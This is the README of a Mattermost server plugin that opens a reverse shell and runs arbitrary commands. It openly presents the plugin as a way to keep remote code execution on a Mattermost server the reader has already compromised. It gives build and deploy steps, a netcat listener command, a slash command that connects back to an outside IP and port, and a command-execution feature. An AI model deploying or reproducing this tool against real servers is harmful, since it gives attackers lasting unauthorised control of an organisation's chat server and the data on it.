Mattermost Reverse Shell plugin
This plugin implements a reverse shell as a server plugin. Also, you can execute commands and have the plugin post the stdout, stderr of the command as a message.
Why?
If you compromise a Mattermost server, this is a fun way to have RCE.
Running the plugin
make && make deploy
Then... start a reverse shell listener
nc -lvp 1337
and connect
/shell connect 1.2.3.4 1337
Also, you can execute commands on the server! /shell exec command [args]